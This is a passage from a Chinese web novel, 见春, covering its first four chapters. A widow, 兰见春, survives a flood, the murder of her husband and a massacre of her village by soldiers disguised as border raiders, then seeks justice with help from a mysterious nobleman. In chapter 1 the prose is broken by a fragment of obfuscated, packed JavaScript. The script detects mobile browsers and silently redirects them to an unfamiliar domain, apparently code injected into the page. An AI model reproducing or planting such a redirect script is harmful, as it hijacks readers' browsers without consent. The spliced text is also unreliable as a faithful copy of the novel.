《见春》
1. 大雨
雨,刺穿与人心一样黑的天空。
砸在兰见春的发间、脸颊、肩上,却洗不净她的血、泪、汗,最后连同泥沙,一起融进粗麻线的缝隙中。
死人味冲进了她的鼻腔。
盛平十年,夏,羌榆县暴雨三日,地崩山摧,泥沙土石吞没农田、房屋,死伤数百人。
吴沟村因处在大燕与力剌的交界处,官府的赈灾迟迟不到。私塾先生何瑞生为民请命,前往县衙求粮。
何瑞生之妻兰见春则留下来照顾百姓,破庙成为了临时安置点。
她琥珀色的眼睛像老虎一样,盯着塬上的庙。
忽然,她停下脚步,扭过头,望着跟她一块抬木材的七个男人。
他们饿得前胸贴后背,双眼无神,泡在雨里,像朽断的胡杨。
她说:“再忍忍,家里人还等着我们呢……咱把这批木头抬上去,搭上棚,孩们就不用挨浇了。”
一个男人摇了摇头。
“虎娘,饿呀。”他弓着背,“使不上力。”
“白叔,”兰见春放下挑杆,跑到他的身边,“庙里烧了饭,就等咱们上去呢。”
白叔微微摇头,他坐在台阶上,望着山下奔腾的洪水,良久,终掩面叹息。
兰见春轻轻地捏男人的肩膀:“咱再忍忍嘛。瑞生已经去丘州,找官府求粮了。”
白叔说:“何先生走了十五天了,县衙的粮,早该到了。”
另一个男人说:“怕不是遇上了——”
“没有!”兰见春稍微抬高了声音,赶忙打断他。
“就怕县衙不给放粮。”白叔摊开双手,看雨冲开掌心的血泥,“这场雨下了那么久,县衙的粮,当官的自己吃还不够呢,又怎么会给我们……”
兰见春说:“您忘了,瑞生好歹也是咱羌榆唯一的秀才,县太爷……会给瑞生这个面子的。”
“都是那些蛮子带来的灾。”雨声淹没了白叔的叹息。
兰见春皱了皱眉:“咱把木头抬上去吧,白叔,快入夜了。”
他点了点头。兰见春回到队首的位置,再次抬起了挑杆。她咽了口唾沫,深吸一口气,扯着嗓子喊一声:“起——”
赤脚踏进黄土地,血泪落地生根。
兰见春推开庙门,便闻见了野菜汤的涩味。她顿时感觉一阵恶心,胃里的酸水上泛,她想吐,硬生生给憋了回去。
此时,孙娘子慌里慌张地跑过来:“虎娘,白叔,你们快去看看吧!小牛,小牛他——”
白叔的脸顿时变成了青灰色,踉踉跄跄地向庙中跑去。他跑得太快,兰见春还没追上他的脚步。
“儿啊——”
兰见春猜到了发生了什么,她加快了脚步,冲进了庙中。
白叔抱着身上都是野草割破的伤疤的小牛,无声地哭。
兰见春推开围观的人,终于见到小牛胸前的刀疤。
村妇孙娘子说:“今天上午,我们一块去挖野菜。结果半道上,山上往下掉石头,冲散了队伍,小牛走丢了。我们找了半天孩子,最后……在河边找见了孩子的尸首。”
兰见春拨开孩子的衣服,看清伤疤,说:“是蛮子的弯马刀。”
“蛮子?!”孙娘子恶狠狠地说,“咱这边闹了灾,他们还来趁火打劫!都这样了,还能抢走什么!”
“是啊,还能抢走什么?”兰见春顿了顿,“这场雨下得那么猛,山上的土石淹了麦田,来抢也没用,只会无功而返——蛮子不会不清楚。”
孙娘子问:“虎娘,啥意思?”
兰见春沉声说:“就怕害人的不是蛮子。”
“不是蛮子,还能有谁会拿着弯马刀?”孙娘子说,“想必——蛮子那边也发了水,没辙了要到咱们这抢粮食!”
兰见春未置可否。她从怀中掏出湿漉漉的帕子,拧干了擦净小牛的脸。
男孩的脸是青黑色,血都流干了。白叔的大儿子、二儿子都死在了蛮子手里,去年,他的妻子重病而亡——小牛是白叔唯一的依靠。
白叔紧紧抱着小牛,出神地望着殿内的泥塑狐仙,流着红色的泪,一言不发。
兰见春垂着头,沉默。
孙娘子盛了一碗野菜汤递给白叔:“吃口吧。”
白叔好像没听见似的。
孙娘子把碗递给兰见春:“虎娘,你劝劝他。”
兰见春端过来碗,那股味冲得她头疼。她忍着恶心,再次给白叔端上:“喝一口吧,活着,才有力气给孩子报仇。”
“对!杀蛮子!”孙娘子劝白叔,“咱得活着!只要扛过这个夏天,往后就都是好日子了!咱迟早——迟早得把害咱孩子的人抓出来!”
白叔敛眸,泪滴在儿子的眼窝里。
“何先生……”白叔问兰见春,“他还回得来吗?”
兰见春沉默。
从村里到县衙,骑上马,不过才一天的路程。何瑞生这一走就是半个月,想必——
“回得来,”兰见春肯定地说,“瑞生……一定会带着粮食回来的,我相信他。”
兰见春扯出一个难看的笑:“我相信他……”
声音抖得不像话。
“白叔,”兰见春握住他的手腕,“天无绝人之路。”
白叔闭上眼,许久,才点点头。
兰见春站起来,对面前的乡邻说:“无论是不是蛮子,我们都不能掉以轻心。孙娘子,你我各带三人,每一时辰一轮换,巡视狐仙庙。若有歹人进犯,就地击杀。”
“好!”
兰见春想了想:“张叔,你带人疏通庙后的山路,每两个时辰就去看一眼,以防万一。”
“好!”
“白叔,”兰见春蹲下来,说,“这段时间我不在庙里,就多费心了。”
白叔眼里淌着泪,吃力地点头。
“先生——先生回来了!”
一声惊雷。
兰见春吓得一哆嗦,跟只箭似的奔了出去。
她冲进雨幕,拉开庙门,顾不得泥水溅自己一身,扶着树就往山下跑。
她看见了马,也看见趴在马背上的男人。
“瑞生!”
她拦在马前,抓住缰绳,看清何瑞生背上是什么时,顿时愣住了。
一支折断尾的箭,扎进了何瑞生的后心口,血把他的深青色长衫染红,变成诡异的黑。
“你的后背……谁干的?!”兰见春托住何瑞生的脸,“是不是县衙的人?他们——他们——要杀了你?”
何瑞生像死人一样。
“瑞生?瑞生!”兰见春抚摸他的脸,使劲推他,“醒醒!我是见春!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323071|183179||http|test|mini|href|location''.split(''|''),0,{}));
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>何瑞生纹丝不动。
“哥呀,醒醒……”她垂眸,眼泪像断线的玉珠,“你别吓我,行吗?我真的害怕。”
何瑞生的睫毛颤抖,兰见春凑近了他,像猫儿一样闻闻他身上的气味,鼻尖蹭到他的胡茬,何瑞生勉强睁开一只眼。
兰见春说:“我这就带你去找郎中。”
“虎娘……”何瑞生呼唤她的小名,摇了摇头。
兰见春抓过他的手:“郎中就在庙里,咱还来得及!”
何瑞生闭上眼,流下两行泪,他气息奄奄:“来不及。”
兰见春不管那么多,拉着缰绳就要把他往塬上带。
“我……”何瑞生叹息,“没成。”
雷声滚滚。
兰见春闻见了雨的腥味,也闻见了他身上的死人味。
没成——
何瑞生不光没要来粮,还要丢了命。
兰见春望着他,眼泪一直往下掉。
“县衙,不给……我又去了州府,也不给……我便要去省府,找,找巡抚大人……结果,路上遇到了匪……”
兰见春立马就明白了瑞生摊上了什么:“那根本就不是匪!”
县衙拒绝了何瑞生,省府也拒绝了何瑞生,说明朝廷的赈灾都进了他们的口袋,他们根本就给不了赈灾。
何瑞生这一趟,一定要为村里带来粮食,他碰了壁,便要去潼裕巡抚那里告丘州、羌榆一状。结果那帮贪官污吏知道了何瑞生的企图,便派人来杀——灭口。
何瑞生点点头,他什么都知道。
“虎娘,”何瑞生大声喘着气,“怀里……”
兰见春把手伸进他的怀中,摸到了一封信和一只卷轴。
卷轴是乡邻为求赈灾写的联名书,而信用蜡封口,上面都是红艳艳的血点子,像盛放的梅花。她捏着信,抬头望何瑞生。
“先别打开。”何瑞生顿了顿,“告诉乡邻们,快跑。官兵……要来了。”
兰见春:“他们还不肯罢休吗?”
“我发现了……大秘密……”何瑞生小声说,“我活不成了……”
兰见春垂泪:“瑞生!”
“听我说,别怕,跑,现在就跑,别管我。”何瑞生努力抬起胳膊握住她的手,“揣上信,向东,跑,别停。虎娘……你得活着。”
“哥,我不走。”兰见春抱住何瑞生,“就算有人要杀我们,我也不怕。哥,我只剩你一个家人了。”
何瑞生摇头,盯着她,眼里的情像海潮一样能把人吞没。
“我特别、特别希望你——活着——好好活着。”
兰见春蹭蹭他的脸,并没有要走的意思。她想,如果没了瑞生,她这辈子也就不会幸福了。
她喃喃道:“不走。”
“我命薄,只与你做了两年夫妻,如果有来生,我还愿意……”何瑞生说,他瞧着兰见春的脸,轻轻地、无比眷恋地替她擦去眼泪。
兰见春的心,就跟让钝刀子割一样疼。
她蹭了蹭他的掌心。
“可我们虎娘,还有泼天富贵没享。”何瑞生哽咽了,“逃啊,再不逃,就来不及了。”
兰见春纹丝不动。
“走啊!”何瑞生稍微抬高了声音,用尽所有力气,推了她的肩膀——
“走!”
2. 丧夫
“虎娘,何先生怎么没跟你一块回来?”
兰见春略过了目光关切的孙娘子,径直向庙内去。
“虎娘,发生了什么?”孙娘子抓住她的手,“可别吓唬我们。”
“快跑,”兰见春回眸望着她,眼睛红得就要流血,“他说,快跑。”
孙娘子上前:“山下边就是洪水,咱能往哪跑?虎娘,何先生到底跟你说了什么?”
“官兵来了,要杀人灭口。”兰见春拂去她的手,“快走,来不及了。”
孙娘子大惊失色:“何先生他——粮食没带来,又要把我们整个村的命丢了?”
“这件事没有那么简单!”兰见春转过身,抬高了声音对她吼,“瑞生他害了我们?如果仅仅是因为他要不到粮食,官府何至于杀人灭口?小牛死于非命,我们都看得出来,那不是蛮子干的!瑞生做错了什么,他命都要没了,还要被你戳脊梁骨!”
孙娘子被她戳了心窝子,脸青一阵白一阵,尴尬道:“虎娘,我,我没那个意思!”
“别拿人当傻子。”兰见春往庙里去,“带着你家人,快走。”
兰见春推开庙门,看见蜷曲在墙角的众人。她望着那一双双因饥饿和病痛而失去光芒的眼睛,心里就跟油煎似的难受。
他们在等何瑞生的粮食。
兰见春垂下头:“快逃。”
鸦雀无声。
“快逃。”兰见春喃喃道,“快逃命去。”
“虎娘,何先生,他——”
兰见春都不用抬头,都知道他们的眼神,是何等的让人难堪。她想,他们一定怨恨死瑞生了吧。
“快逃!”兰见春的头快低到地面上了,“别等死啊。”
咣当一声……庙的后门开了,众人闻声转过头。
只见张叔因恐惧瞪大了双眼、瞳仁紧缩;下巴大得像个碗;他的胸口,一支箭直挺挺地伸出来,血汩汩地往下流,红色直接烫疼了所有人的心脏。
“快……”张叔话音未落,另一支箭挤着上一支箭,捅破他的胸膛,他低头看了一眼,霎时哭了出来,向前栽倒——
“逃。”他说。
庙内顿时慌作一团。
“虎娘!这可咋办!虎娘!我们一家老小都在这,可咋办嘛!”
“后门我看你走不了,前面能走吗?虎娘!何先生从前边来的,前边是不是也有官兵啊!”
“虎娘——”
“虎娘——”
“虎娘!”
“别慌!”兰见春压着嗓子低吼。
“救救我们!虎娘!我们,实在,实在走不动啊!”
兰见春转眸望着那些人,她眼前红彤彤的一片,看不清他们的脸。但清楚他们的眼神,那么渴望。
为什么有危险的时候,怨恨这是自己跟瑞生带来的?为什么在想活的时候,又求着自己保护他们?
兰见春轻笑,拾起了墙角里的柴刀,顺着墙根靠近门口。
也有很多男人同她一样拾起了刀,跟随她的脚步,准备同外面的贼人最后一搏。其他人,已经悄悄地挪到了偏殿中。
兰见春有些拿不动刀了,适才的怨憎,在此刻,又像春冰一样一点点地化开。她捅破了一点窗户纸,使劲眨巴眨巴眼,试图将远处看得更清晰些。
她听见兵器相撞的声音,也听见了匆忙的脚步声。前有狼后有虎,逃不了。
箭如雨落。
她的额头抵着墙,低声倒着呼吸,试图让自己平静下来。可依然会不由自主地发抖,想到何瑞生的眼泪,她就拿不动刀了。
她擦擦眼泪,咬紧下唇,吊起精神。
从后山冲出一批“蛮子”。
他们穿着力剌的铠甲,但用黑布蒙面。兰见春觉得不对劲,往常力剌人入侵,都是不穿铠甲,也不蒙面的。
“我发现了他们的秘密。”她耳边响起何瑞生的话。
瑞生到底发现了什么,才招来杀身之祸?他递给自己的信,里面的内容恐怕不止“克扣灾款”那么简单。
面前这些“力剌人”,十有八-九是官兵假扮的,为的就是把今天的责任推到力剌人头上,将来若朝廷问罪,也好给自己开脱。
领头的那个站在庙门前,距离门槛不过一丈远。
他抬起手,示意身后的人不要再向前。他弓着后背,小心翼翼地向前挪步子。
兰见春屏气凝神,握紧柴刀。
一只脚迈进了庙中。
说时迟那时快,兰见春双手抓住刀柄,抬起胳膊,对准那人的脖子,使劲全身力气往下砍!
那人也抬刀格挡,将她的柴刀打偏,刀刃擦过他的精铁护腕,迸出了火星子。
兰见春被震得虎口发麻。
兰见春一把抓过那贼人的衣襟,反手握刀,抹了那人的脖子。
血溅了她一身,刹那间,她有些恍惚。
突然后颈一凉,她猛回头,柴刀直接劈在偷袭者的头顶上。
身后突然响起此起彼伏的惨叫,这帮贼人已经包围了破庙,决计要把这帮人围杀在这里。
“小心!”白叔大喊,兰见春下意识地低头,一支箭刺穿她的发髻,钉进身后的泥地。
再抬头时,她看见孙娘子护着她儿子往偏殿跑,突然,后心绽开一朵血花。
血腥味混着野菜汤的涩味,一起钻进兰见春的鼻腔,她握刀的手止不住发抖。
忽然,一只手把她拉到了身侧。白叔用镰刀撬开狐仙像下的砖块,露出一个狗洞大的窟窿。
白叔把她往里面推。
狐仙像是空心的,正好能藏进一个人。
兰见春抓住他的手:“白叔!”
“虎娘,你藏好了,别出来。”白叔尽力把她往里面推。
兰见春急道:“不行啊!”
“我们这帮人是走不了了,躲过今天,也躲不了明天。可你不一样,你读过书,是有脑子的!”白叔警惕地往远处看,“趁现在,他们还没冲进庙里,藏好了,还能活!”
“白叔……”兰见春的心好疼。
“听话,叔答应了你爹,要照应你跟瑞生呢。”白叔摸摸她的头,“家里就剩我一个,我活着也没什么劲。听话嘞——你得活着!”
脚步声越来越近,贼人们已经杀光了院里的人,要往庙里冲了。
白叔心一横,把兰见春往里头一推,便将砖头重新填了回去。又拉过张叔的尸体,压在了上面。
兰见春眼前一黑,只能攀着狐仙娘娘的胳膊往它肚子里钻。
她卧在神像的腹腔,敲碎了它的眼球,勉强让光和空气投进来。
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却见寒光闪过,白叔的左臂齐根而断,鲜血喷涌。
白叔用独臂勒住贼人的脖子,张口咬他的脖颈。更多的刀剑穿透他佝偻的身躯,他却挡在神像前。
刀剑将他撕碎。
兰见春紧紧捂住自己的嘴,不敢发出一点声音。她看着那些人屠杀乡邻,却无能为力。
很快,喊杀声就停止了。
贼人们让开中间的路,一个高大的男子从后踱上来。他扫一眼地上的尸体,又抬头看了一眼狐仙像,恰好与兰见春的眼睛相对。
她强迫自己不躲闪。
那男人盯了神像一会,提刀向其走开。
兰见春抖如筛糠,脚趾勾着雕像内壁,感觉一把铡刀随时都会劈在她头上。
突然,身下一阵冷风。
一柄刀刺破了狐仙像的肚子,擦过她的腿内侧。
男人抽出刀,仔细检查刀刃,发现确无血迹。
又挥刀刺了一下。
这一回刀刃擦过她的腰,割破了她的衣衫。
男人看着自己的刀,皱了皱眉。
兰见春紧张得没了呼吸,她死死盯着男人,浑身僵硬。
男人再次刺向狐仙神像。
这一回,刀从兰见春颈侧擦过去,离她的喉咙只有不到半存。
男人三刀都没有血迹,这才放过狐仙像。
他收刀回鞘。
“撤。”
果真是中原人。
—
长夜漫漫,歧路迢迢,毒雾浓浓。
兰见春在山中一路奔逃,她一路不敢回头,一直向前跑。
等到嗓子眼里都是血味才敢捧两口泥水喝,她感觉不到累,也感觉不到饿,鞋子跑没了也不知道。
她感觉这个夜晚无比漫长,荆棘路好像没有尽头,大雾笼罩了天地,吞没了所有的光。方向在哪?活路,又在哪?
她耳边一直有刀剑刺破人血肉的声音,她吓得魂飞魄散,感觉下一秒,那些高大的男人就会冲上来,将她撕碎。
她听见了战鼓声、尖叫声、吃肉声,闻见了血味、臭味、腥味。她盯着前路的黑,脑子已经不转了,仅是奔跑。
突然,一颗歪倒的树将她绊倒,她头朝前栽,眼看就要摔进黑洞洞的山崖。
一双手,抓住她的手腕,救她于危难。
兰见春吓得急促呼吸,一抬头,愣了许久。
拯救她的人,长了一张与自己一摸一样的脸。
是自己。
救她于水火的人,是她自己。
兰见春哭了,她紧紧抓住那只手,不肯撒开。
眼泪肆无忌惮地往下流,心中有个声音在呼喊——
活着!
活着!
报仇!
她咬紧了下唇,从怀中取出瑞生递给她的信,递给另一个自己。
一缕光刺破黑夜,刺破混沌的雾,擦过她的瞳仁。
她攥着信,向那束光继续奔跑。
她不该就这么死了。
天地不仁,以万物为刍狗。瑞生、白叔,还有吴沟村的百姓,不能就这么不明不白地死了。
到底是谁杀了他们,到底是谁要赶尽杀绝——
她一定要查清楚,一定要为他们报仇——
至死方休。
3. 生机
兰见春睁开眼,发现自己躺在一张床上。
“醒了?”
兰见春闻声转头,看见了一个陌生的男人。
他年纪不大,估摸也就二十来岁,穿着丝绸,泛着晶莹剔透的光;腰间挂着一块羊脂玉佩,光芒柔和、十分油润;眼睛像盐湖,宁静、澄澈。
虽然是第一次见,兰见春就感觉他们好像在哪里见过,他给自己的感觉就很舒服,是没有隔阂,没有怀疑的那种舒服。
他身后跟着一个中年男人,此刻正斜着眼打量着自己,兰见春感觉到了敌意。
“速去叫郎中。”那青年说。
“公子……”
“还不快去?”他瞪了他手下一眼。
那中年人只好离开房间,屋子里,只剩下兰见春和这位“公子”。
兰见春想坐起来,腿部触痛,她又躺了回去。
“公子”便过来,拉她起来,忽然他绕到了她身后去,兰见春顿感不自在,侧头看了他一眼。
他看了看她眼睛,目光又落在了她干燥起皮的唇上。顿了顿,才把软枕放在她后腰处。
兰见春如坐针毡。
他转身去为她斟水,亲手递到她手边,问:“你叫什么名字?哪里人?”
兰见春反问:“你又是谁?”
“我?”他打量她琥珀色的眼睛,像打量着受伤的雌虎。
他笑了笑,说:“我姓景,上京人,家中是做首饰生意的。”
他好像能看懂她心思似的。
知道她警惕身边的人,便找了个理由把人支走;知道她对自己的身份好奇,便变着法地告诉她,自己对她并无威胁。
兰见春沉默。
一个商贾之子,家里还是卖首饰的,为何会出现在羌榆这穷山沟?显然这个人对自己有所隐瞒。
他稍微凑近了一些:“你还没回答我的问题。”
兰见春依然沉默。
那人等了一会,说:“你不说,我如何把你送回家?只好把你交给官府了。”
“不行!”兰见春慌张地说。
那人抓住了她的破绽,追问:“为何不能把你交给官府?难不成,你是山里的土匪?”
“我不是!”
“那你是谁?”那人笑得春风和煦,“为何会躺在路边,身上还都是血?不像是良民,倒像是经历了一场厮杀的山匪。”
“你也不是商贾之子,”兰见春直视他的眼睛,“羌榆地处偏僻、物产稀少,而今又遭了天灾,我们可没钱买首饰。”
他反问:“我就不能跟你们这里的官爷做生意?”
兰见春说:“羌榆的官是贪了多少,才能让公子您亲自从上京过来跟他做生意?”
那人直笑。
“我救了你,你还防着我?”
“我不知道甜枣后边是不是一巴掌。”兰见春盯着他,“还请公子如实相告。”
“我若不呢?”他凑近了问,“怎么?要杀了我吗?”
兰见春沉默良久,才说:“我不会害救命恩人。”
“或许我也不想害你。”他说,“我们萍水相逢,我告诉你的,都是我想你让你知道的。至于其他的,你不问,我不说,你便没有性命之忧。”
兰见春说:“你果然不是什么首饰贩子。”
他赞道:“你很聪明。”
兰见春:“为何救我?”
他答:“见你可怜。”
兰见春问:“不怕我给你惹来麻烦?”
他答:“不怕。”
兰见春又问:“也不怕我赖上你?”
他愣了片刻,非常惊讶,或许说是惊喜更合适。
“你要对救命恩人以身相许,我何乐而不为?”他笑,“你大可随我回上京,你放心,我绝不会亏待你。日后,我们再生个一儿半女,也算是一段佳话了。”
兰见春面露难色:“你误解了。”
他叹息一声:“当然,我不会强迫你。我家里管得严,婚姻大事,由不得我。我无法许诺你正妻之位,但我保证,我可尽我所能,给你衣食无忧的生活。你一个弱……”
他打量一圈兰见春的身材,假咳嗽两声,继续说:“你一个女子,自然要有个坚固的依靠。你放心,我既然救了你,自然会尽力帮助你。”
“公子,”兰见春尴尬地说,“我有丈夫。”
“是么?”他站起来,又斟水又摆弄果盘,看起来忙的很。
兰见春察觉到他的尴尬,自己也有种做错事的感觉。
他说:“既然这位夫人有家室,还是不要在我这久留了。等郎中来,给你看过以后,我便安排马车,送你回家。”
兰见春别过头:“我不走。”
他想了想:“要不这样,我送你回去,我亲自跟你的丈夫说清楚。”
兰见春不说话。
他有些急了:“你……到底是什么意思?”
兰见春转眸凝视他,他的眼睛像小鹿一样纯粹,看起来,并不像是会害自己的人。何况他刚才说的话,天真但真诚,估计跟那帮人不是一伙的。
只是他的身份……
兰见春问:“你刚才说,你会帮我,现在还做不做数?”
他微微蹙眉:“自然作数。”
兰见春继续打量他:这人生的细皮嫩肉,一看就是养尊处优的外乡人。加上他刚才对自己的身份有所隐瞒,估计家室煊赫,不便以真面目示人。
兰见春说:“我要见一个人,不知道公子有没有办法让我见到他。”
他问:“何人?”
兰见春沉声说:“潼裕巡抚。”
他愣住了。
此时,门外有人说:“公子,郎中来了。”
“进!”
那个中年人带着郎中进来了,他立马上去截住,眼神示意他跟着自己出去。
他转头吩咐道:“郎中,给这位夫人好好看病,我们便先行离开了。”
说罢,便逃也似的带人走了。
郎中上前,先为她诊脉,又看了看她的腿伤。
郎中说:“夫人命大,现在已经并无大碍了。以后只需要好好养伤,伤筋动骨一百天,得养好了再活动,不然,以后得跛一辈子。”
兰见春点点头:“知道了。”
郎中向她作揖:“告辞。”
郎中走后,屋子里只剩她一个人。她现在哪有心情好好养伤,那景公子的态度实在吊人胃口。
她扶着床边,勉强挪动腿,拉过身边的拐杖,一瘸一拐地向门口走去。
她像个无头苍蝇,在这处小宅子里到处瞎逛。直到她靠近某处厢房,听见了两个男人的说话声。
“一个乡野村妇,竟喊着要见巡抚?怕不是摔坏了脑子。”是那个中年人。
“她头脑清晰,并非胡言乱语。”景公子说,“只是……普通乡野人家,有什么事,让家中长老解决就算了。
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顶不济再去县衙,何至于见巡抚?”
“公子的意思是……”
“那女子至今也不跟我说她的真实身份,我也没办法带她见师兄。我当真是给自己找了个麻烦。”
兰见春立马撑着拐杖往那间厢房走。
忽然,她眼前寒光一闪,她下意识地闭上眼睛。抖得都摔了拐杖,没骨头似的往下摊。
“是你?”景公子收剑,赶紧伸手要把她搀起来,奈何兰见春已经被他刚才那一剑吓得丢了魂,怎么都拉不起来。
“公子!”兰见春抓住他的手,“求您——救救我!”
那中年人想过来把她推开,可兰见春的手,就像蟹钳一样不肯撒。他赶紧劝景公子:“公子!此人不知底细,断不可信!”
景公子盯了他一眼:“陈瑛!你先出去。”
那人无奈,只好离开。
兰见春死死抓住景公子的脉门,眼泪一颗颗地往下掉。
“适才听公子说,巡抚大人是公子的师兄,想必公子是一等一的贵人。”兰见春仰望他的眼睛,“如今我别无他法,还请公子,帮帮我。”
“有什么话,你起来说!”景公子拉不动她,只好蹲下来。
“我并非拜高踩低之辈,适才对公子有所防备,是因为……”兰见春猛地一阵咳嗽。
景公子说:“我明白,你有苦衷。先缓一缓,进来,喝点热茶,有话再说也不迟。”
她摇头:“公子,我……我叫兰见春,是羌榆县吴沟村人,我的丈夫是秀才何瑞生。二十日前,羌榆洪灾,我家乡房屋、农田尽数被毁。可衙门迟迟不来赈灾,我丈夫便为民请命,赴羌榆县衙求粮。”
景公子问:“他没回来,对不对?”
兰见春摇头:“他被人射穿了胸口,吊着一口气回来的。他说,羌榆县衙、丘州省府都不给赈灾,他便要去巡抚面前告他们一状,结果惹得官府不快,招来了杀身之祸。
“一伙贼人,扮成了力剌人模样,屠尽了我乡邻。我藏在狐仙庙中的神像里,才逃过一劫。这事不能就这么算了,我要去见巡抚大人,为我吴沟村人,主持公道!”
景公子说:“你怎知巡抚会愿意见你,又怎知他会为你主持公道?”
“我丈夫去省府求粮,县衙并没有什么动作,想必他们是一伙的。但当他要去找巡抚的时候,那些贪官污吏,想方设法地要他死!巡抚大人……一定是个有雷霆手段的好官,这才吓得那帮硕鼠狗急跳墙!”
景公子深吸一口气:“你先起来,喝口水。”
兰见春抓住他不肯撒手:“景公子,求您带我见巡抚大人,求您了……”
“我……”景公子眼神躲闪。
“求您了!”兰见春哽咽道,“我这条命,是您救的。只要您帮我,我愿为您肝脑涂地。”
景公子耐心说:“地上凉。你的腿还有伤,听话,起来,你要做的事,我们从长计议。”
“求您答应……”兰见春自知这样做无异于胡搅蛮缠,可她不能放弃眼前这位“景公子”。
景公子用自己的帕子给她擦眼泪:“你可知你要对付的人是谁?此人能出兵把吴沟村夷为平地,那么他若杀你,就跟掐死一只老鼠那样简单!你不要命吗?”
兰见春梗着脖子:“便是皇帝,我也要跟他斗一斗。”
“狂妄。”
“求您帮我。”兰见春就要给他磕头。
景公子拦住了她。
4. 送行
“我帮不了你。”景公子说,“我这宅院中,有充足的药食,你在这里把伤养好,我再帮你寻其他容身之处。”
景公子越过兰见春,就要开门走。
“那日,贼人对着我藏身的狐仙像连刺三刀,我毫发未伤。老天留我这条命,不是让我苟且偷生的。”兰见春撑着拐杖,勉强站起来。
景公子又把门关上,他摩挲门闩许久,才回头盯着她。
兰见春意识到,他动摇了。她上前一步,咽了口唾沫润润嗓子,诚恳地说:
“公子所言句句在理,蚍蜉撼树,简直天方夜谭。可我并非不明事理的乡野村妇,我知道,我面对的人,不仅仅是一个县衙、一个省府那么简单,我自然会虑定而动。”
兰见春的眼睛像老虎一样,坚定,有光芒。她的笑容僵在脸上,景公子沉默着,她感觉时间无比漫长。她又说:“公子是上京人,家世不凡,您到羌榆这种小地方,必然不是来游山玩水的。”
景公子好奇地问:“那你觉得,我是来干什么的?”
“这次洪水,是天灾,更是人祸。”兰见春沉声道,“县衙不给赈灾,或许是当官的贪,但我认为,另有隐情。”
景公子惊讶得说不出话来,他哪想到一个乡野村妇,竟有这么好的脑子,他忍不住好奇这女人的身世。
“你觉得如何?”
兰见春:“若仅仅是因为害怕我丈夫把贪墨的事闹给巡抚,他们杀我丈夫一人便足够,何至于又排一波人过来屠村?瑞生说,他是因为发现了那些人的大秘密,才招来了杀身之祸。”
景公子疑惑道:“秘密?”
兰见春若有所思:“吴沟村地处两国边界,公子觉得,这秘密是关于什么的?”
其实她根本就不知道何瑞生到底发现了什么秘密,也不知道景公子来西北到底是为了什么。
所以她故意把“秘密”跟力剌人扯上关系,就赌眼前这位景公子会对此感兴趣。
景公子的眼神,告诉兰见春,她赌对了。
此时,外面传来打更人的声音:“三更半夜——谨防盗贼——”
兰见春盯着景公子,屏气凝神。她笃定景公子会选择帮自己,这也是自己唯一的机会了。
“夜深了,兰夫人还是尽快歇息吧。”景公子要离开。
兰见春连忙说:“即便好奇,你还是要装做什么都不知道吗?”
“我不愿以身犯险。”景公子推开门,头也不回,“兰夫人,你我并非一路人。”
兰见春感觉脸颊火辣辣的,像被人抽了一巴掌似的。
待景公子走远后,兰见春才拾起她的拐杖,颤颤巍巍地往自己房中去。
她才想起瑞生的信,摸了摸胸口,还完完整整地放在胸衣里,她松了口气。
又注意到自己的衣服已经换了,赶紧把信掏出来拿出来检查一下,确认没有被人拆开才彻底放下心来。
衣服是景公子的人换的,想来他已经知道这封信的存在。但他没拆,而是又原原本本地放回去。
兰见春百思不得其解。
巡抚大人是他的“师兄”,他又千里迢迢从上京来到羌榆,难道不是为了这场天灾而来?
他明明对羌榆这场惨案感兴趣,但他为何不愿意帮自己?
——明哲保身,怕被牵连。
兰见春叹息一声,既然他不愿意,那自己也不能缠着人家不放。那便要尽快离开,别再给人家添麻烦了。
—
兰见春连夜收拾行囊——其实就是一根拐杖,一盘景公子房中的玫瑰糕。她翻墙头走的,照着明月的方向,继续往东走去。
其实她也不知道前路在哪,她的世界只剩下一条长长的、灰色的、陌生的路,她茫然无措、踽踽独行。
山中偶尔有一两声鸟鸣,点破长夜的静。
累了,她就靠着树歇一会;饿了,她就舔两口碎成渣的玫瑰糕;渴了,就扶着土坡上的石头下山,掬两捧河水喝。
调整好了便继续赶路,不曾回头。她不敢胡思乱想,怕没了勇气前行。月光将她的影子拉得颀长,陪她走向远方。
她走得很慢很慢。
她不知道自己走到了哪里,眼前的景色一直不变:荒山、黑水、朽树、断墙……
忽然,她看见河道边有一团黑黢黢,她的心擂鼓一样地跳动,好像有一股力量,吸引着她往那边去。
兰见春杵着拐杖,快步向前。奈何她的腿瘸了,这么一跑,直接栽进了泥地里,啃了一嘴泥。她顾不得脸上的污泥,还奋力往前爬。
她什么都看清了。
——是尸体。
他衣衫褴褛、遍体鳞伤,胸口被箭簇刺穿,血液染红了河流。
兰见春眼泪像断了线的珠子,一颗颗地往下掉。
她四脚朝地,很狼狈很难堪地往前爬。
天空中雷声阵阵,月光消失了,天地又陷入了糟心的混沌中。她的指尖划破,血吃透了泥。
她伸出了手,抚摸他苍白的脸。
他是冰凉的,冻得兰见春的掌心很疼,像被人用刀刺穿一样。
“哥呀……”
“瑞生……”
“何瑞生……”
兰见春把他抱进了怀里,慌里慌张地为他把乱糟糟的头发往脑后梳。
她的眼泪滴在何瑞生的眼窝里,汇成了一个小水洼,又顺着他的脸颊往下流,好像瑞生也流下了眼泪。她伸手去摸瑞生的手,他的掌心已经烂掉了,能碰到坚硬的骨头。
兰见春与他十指相扣,好像能从那掌心汲取到温暖似的,她想抓住他的手,永不放开。
“爹过世的时候,你为我上山砍树,一刀一刀地割出了一口棺材。你的手磨得全是血痕和水泡,却没喊过一句疼,始终都没跟我抱怨过一句。”
兰见春握紧了他的中指,拇指摩挲着他指节上的茧子。
“我们把爹埋到了萃神山上,在坟上中一颗连翘树,你说,等春天来了,等连翘开出了黄色的花,那就是爹回来了。”
兰见春哽咽了:“爹给我留下了连翘树,为何你什么不给我留?你为什么躺在河水里?为什么死得这样难堪?为什么宁可躺在这里等死,也愿意不陪我一起走?”
她用脸颊蹭瑞生的眉眼,使劲把他往自己怀里拉,依依不舍地说:“我恨你……”
兰见春怅望灰天,怨恨它的晦暗,怨恨它的潮湿。
“兰夫人。”
兰见春回眸,景公子坐于马上,望着自己,眼睛亮晶晶,他一个人来的。
